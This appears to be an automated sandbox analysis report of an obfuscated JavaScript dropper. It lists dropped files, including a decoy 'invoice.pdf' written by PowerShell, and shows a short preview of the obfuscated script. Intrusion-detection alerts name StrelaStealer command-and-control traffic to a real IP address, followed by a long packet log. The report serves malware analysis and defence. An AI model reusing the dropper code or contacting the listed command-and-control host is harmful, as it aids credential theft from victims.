File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.390072599596689
Encrypted:	false
SSDEEP:	768:GLxxlyVUFcAzWL8VWL1ANSFld5YjMWLvJ8Uy++NSXl3WLd5WLrbhhVClkVMwDGbE:Bq
MD5:	1E0542D648C407448A0D61C269A614FD
SHA1:	1ACA24090AECF9BE6405C949385AD64C547306F7
SHA-256:	90151DDD01C5BB0411CCF03EC83B3DD5DEE7DB0DF237056BADE8D0B7C26AB960
SHA-512:	E6737E0DD39648F0102ADB6245251F005F659A28E29B75BC697FAB8E66B9625BA240F0D25DDC0414CF3B33E766E370DEF0E2DC50C90E3A15C1D6934596DBC7C7
Malicious:	false
Preview:	04-10-2023 02:39:31:.---2---..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : *************************************..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : ***********************************..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : Starting NGL..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..04-10-2023 02:39:31:.Closing File..04-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\30953605-3672-471b-91f6-7bc7ac0a3f13.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\318bf50a-a2b1-462f-b267-2505306648f2.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 42290
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/VRbdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07WWL07oXGZnYIGNPJF:tRb3mlind9i4ufFXpAXkrfUs0qWLxXGY
MD5:	9543A6C1DE815E938F6AA0F90F2EF0C6
SHA1:	62B527E0463D71548862DE000950E638F3721582
SHA-256:	8A4B4F588D79D2AF9E617936932D8264DF9017D80A68F8D39E5EA36B14D76F1D
SHA-512:	50A26B895BA1F40B2ADE59996A1A89EBAFE67CB9F7B4F3A029382B6966E75F8BAD3551D25F29391C58A7EDC206F7DAF1D07F68F5E458E3A5D02556EACA377B0D
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\4f00d8ca-6a9c-4b70-a4e6-3ebdd7b10392.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\960cccdc-3e8d-4e49-8694-c534d5a57e4b.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/rwYIGNP4mOWL07oBGZ1dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:TwZG6bWLxBGZN3mlind9i4ufFXpAXkru
MD5:	95F182500FC92778102336D2D5AADCC8
SHA1:	BEC510B6B3D595833AF46B04C5843B95D2A0A6C9
SHA-256:	9F9C041D7EE1DA404E53022D475B9E6D5924A17C08D5FDEC58C0A1DCDCC4D4C9
SHA-512:	D7C022459486D124CC6CDACEAD8D46E16EDC472F4780A27C29D98B35AD01A9BA95F62155433264CC12C32BFF384C7ECAFCE0AC45853326CBC622AE65EE0D90BA
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\915DEAC5D1E15E49646B8A94E04E470958C9BB89.crl

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	98682
Entropy (8bit):	6.445287254681573
Encrypted:	false
SSDEEP:	1536:0tlkIi4M2MXZcFVZNt0zfIagnbSLDII+D61S8:03kf4MlpyZN+gbE8pD61L
MD5:	7113425405A05E110DC458BBF93F608A
SHA1:	88123C4AD0C5E5AFB0A3D4E9A43EAFDF7C4EBAAF
SHA-256:	7E5C3C23B9F730818CDC71D7A2EA01FE57F03C03118D477ADB18FA6A8DBDBC46
SHA-512:	6AFE246B0B5CD5DE74F60A19E31822F83CCA274A61545546BDA90DDE97C84C163CB1D4277D0F4E0F70F1E4DE4B76D1DEB22992E44030E28EB9E56A7EA2AB5E8D
Malicious:	false
Preview:	0...u0...\...0....H........0i1.0...U....US1.0...U....DigiCert, Inc.1A0?..U...8DigiCert Trusted G4 Code Signing RSA4096 SHA384 2021 CA1..240807121815Z..240814121815Z0..~.0!.......0.E....[0...210531000001Z0!...7g...(..^`.x.l...210531000001Z0!...\./M.8..>.f.....210531000001Z0!...B.Sh...f...s.0..210531000001Z0!..../n...h..7....>..210601000001Z0!....0..>5..aN.u{D..210601000001Z0!...-...qpWa.!n.....210601000001Z0!..."f...\..N.....X..210601000001Z0!...in.H...[u...]....210602000001Z0!......`......._.]...210602000001Z0!...{..e..i......=..210602000001Z0!......S....fNj'.wy..210602000001Z0!......C.lm..B.*.....210602000001Z0!... .}...\|.,dk...+..210603000001Z0!...U.K....o.".Rj..210603000001Z0!.....A...K.ZpK..'h..210603000001Z0!.....&}{ ......l..210603000001Z0!...:.m...I.p.;..v..210604000001Z0!...1"uw3..Gou.qg.q..210607000001Z0!...1.o}...c/...-R}..210608000001Z0!................210608000001Z0!...[.N.d............210609000001Z0!......x..i........210610000001Z0!...(... (..#.^.f...210

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\DF22CF8B8C3B46C10D3D5C407561EABEB57F8181.crl

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	737
Entropy (8bit):	7.501268097735403
Encrypted:	false
SSDEEP:	12:yeRLaWQMnFQlRKfdFfBy6T6FYoX0fH8PkwWWOxPLA3jw/fQMlNdP8LOUa:y2GWnSKfdtw46FYfP1icPLHCfa
MD5:	5274D23C3AB7C3D5A4F3F86D4249A545
SHA1:	8A3778F5083169B281B610F2036E79AEA3020192
SHA-256:	8FEF0EEC745051335467846C2F3059BD450048E744D83EBE6B7FD7179A5E5F97
SHA-512:	FC3E30422A35A78C93EDB2DAD6FAF02058FC37099E9CACD639A079DF70E650FEC635CF7592FFB069F23E90B47B0D7CF3518166848494A35AF1E10B50BB177574
Malicious:	false
Preview:	0...0.....0....H........0b1.0...U....US1.0...U....DigiCert Inc1.0...U....www.digicert.com1!0...U....DigiCert Trusted Root G4..240806194648Z..240827194648Z.00.0...U.#..0.......q]dL..g?....O0...U........0....H.............vz..@.Nm...6d...t;.Jx?....6...p...#.[.......o.q...;.........?......o...^p0R.......~....)....i.n;A.n.z..O~..%=..s..W.4.+........G...*..=....xen$_i"s..\...L..4../<.4...G.....L...c..k@.J.rC.4h.c.ck./.Q-r53..a#.8#......0.n......a.-'..S. .>..xAKo.k.....;.D>....sb '<..-o.KE...X!i.].c.....o~.q........D...`....N... W:{.3......a@....i....#./..eQ...e.......W.s..V:.38..U.H{.>.....#....?{.....bYAk'b0on..Gb..-..).."q2GO<S.C...FsY!D....x..]4.....X....Y...Rj.....I.96$.4ZQ&..$,hC..H.%..hE....

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\addressbook.acrodata

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ISO-8859 text, with very long lines (3486), with CRLF, CR line terminators
Category:	dropped
Size (bytes):	14456
Entropy (8bit):	4.2098179599164975
Encrypted:	false
SSDEEP:	192:gcPqYV/saFlwwR+kMqe8TlZMX1sgUVa3ddMVsuNeMcGdSD9obOUAVlcMudM/Y14e:g7Q/X4kMb0lZ6mgtdHOelGdWaolvsTZ
MD5:	32FCA302C8B872738373D7CCB1E75FD4
SHA1:	DA85FAF24ED0ECFD5D69CCFD6286D8B77D7EB4F1
SHA-256:	CD0DD26304B88C20801FE80B33C49C009E2E5D4411B5D7F83252E1D90CD461C6
SHA-512:	57F8CC85FAFB15455074431216E47433E50DF5DE74ED74C395B7FF2C433DB7CE06F0A1C1FE1EFDC17229DBC33325D559789F43901556DD1A12963B94F01D5A1F
Malicious:	false
Preview:	%PPKLITE-2.1.%......1 0 obj.<</PPK<</AddressBook<</Entries[2 0 R 3 0 R 4 0 R 5 0 R 6 0 R]/NextID 1006/Type/AddressBook>>/Type/PPK/User<</Type/User>>/V 65537>>/Type/Catalog>>.endobj.2 0 obj.<</ABEType 1/Cert<308204A130820389A00302010202043E1CBD28300D06092A864886F70D01010505003069310B300906035504061302555331233021060355040A131A41646F62652053797374656D7320496E636F72706F7261746564311D301B060355040B131441646F6265205472757374205365727669636573311630140603550403130D41646F626520526F6F74204341301E170D3033303130383233333732335A170D3233303130393030303732335A3069310B300906035504061302555331233021060355040A131A41646F62652053797374656D7320496E636F72706F7261746564311D301B060355040B131441646F6265205472757374205365727669636573311630140603550403130D41646F626520526F6F7420434130820122300D06092A864886F70D01010105000382010F003082010A0282010100CC4F5484F7A7A2E733537F3F9C12886B2C9947677E0F1EB9AD1488F9C310D81DF0F0D59F690A2F5935B0CC6CA94C9C15A09FCE20BFA0CF54E2E02066453F3986387E9CC48E0722C624F60112B035DF55EA6990B

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (18740), with CRLF line terminators
Entropy (8bit):	4.887271685534847
TrID:
File name:	2878822876987216987.js
File size:	22'364 bytes
MD5:	43aaf813331028def8641e5e6de4da83
SHA1:	2cc0f435972290ca80d13713834503f74b76fb25
SHA256:	bcd6747853a05ca43947f9b5300748ad17cf4321d96deb6ecda953534597ddaa
SHA512:	d3728e5448e02c453fcb830305bbf3484b8be289535ecbc25763d8e9d781cb908f9a854f9e7ffa15a433b8c1ea1d8e3f30c9a0e47f82d50d4312befcc4cefac6
SSDEEP:	384:LRJZRnSK3v9XGHFEqUt/v8Az2GqYPAURgZN3P8IoFerED8bEHbdkQXDElpCBB8Dt:LRJZRnSe9XGMt/7qwDKZN3P8IoFerEDA
TLSH:	62A296C118E5A2CCAEECE1F870A110E270FA85DCC3B1529F89114D551B8A6BC67E5D7F
File Content Preview:	function ieklqbp(){aanbjnec=[1031,3079,5127,4103,2055,3072];var bxzrufwc=this[hervq+sawempnud+krwscj+himyhghhv+mnuiaxd+bybuy+fxvimj+jyakiurf](this[oxxwwiofu+mcsyiotn+jfcwezpqr+krwscj+fxetdrgzt+hervq+jyakiurf][vakuuodf+krwscj+mnuiaxd+sawempnud+jyakiurf+mnu

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-11T08:44:55.939238+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.5	49704	193.143.1.205	80	TCP
2025-01-11T08:44:55.939238+0100	2859560	ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)	1	192.168.2.5	49704	193.143.1.205	80	TCP
2025-01-11T08:44:58.747097+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.5	49705	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 08:44:55.162470102 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:44:55.167417049 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:55.167505026 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:44:55.170458078 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:44:55.175270081 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:55.939131975 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:55.939153910 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:55.939167976 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:55.939188957 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:55.939201117 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:55.939212084 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:55.939232111 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:55.939238071 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:44:55.939249039 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:55.939261913 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:55.939276934 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:55.939280033 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:44:55.939318895 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:44:55.939344883 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:44:55.944171906 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:55.944183111 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:55.944247961 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:44:55.981618881 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:55.981661081 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:55.981724024 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:44:56.056422949 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.056447029 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.056459904 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.056474924 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.056523085 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:44:56.056560993 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:44:56.056580067 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.056622028 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.056633949 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.056699038 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:44:56.056962013 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.057012081 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:44:56.057024956 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.057039022 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.057050943 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.057069063 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:44:56.057687044 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.057707071 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.057735920 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:44:56.057739019 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.057745934 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.057753086 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.057775974 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:44:56.057806969 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:44:56.058327913 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.058384895 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.058397055 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.058423042 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:44:56.058450937 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.058465004 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.058499098 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:44:56.059287071 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.059299946 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.059362888 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:44:56.112688065 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.112720013 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.112731934 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.112811089 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:44:56.144779921 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.144922972 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:44:56.173564911 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.173588991 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.173602104 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.173664093 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:44:56.173671961 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.173683882 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.173732042 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:44:56.173752069 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.173765898 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.173790932 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:44:56.173803091 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.173834085 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:44:56.174314976 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.174392939 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.174405098 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.174443960 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:44:56.174644947 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.174657106 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.174670935 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.174694061 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:44:56.174725056 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:44:56.174734116 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.175020933 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.175043106 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.175060034 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.175070047 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:44:56.175103903 CET	49704	80	192.168.2.5	193.143.1.205
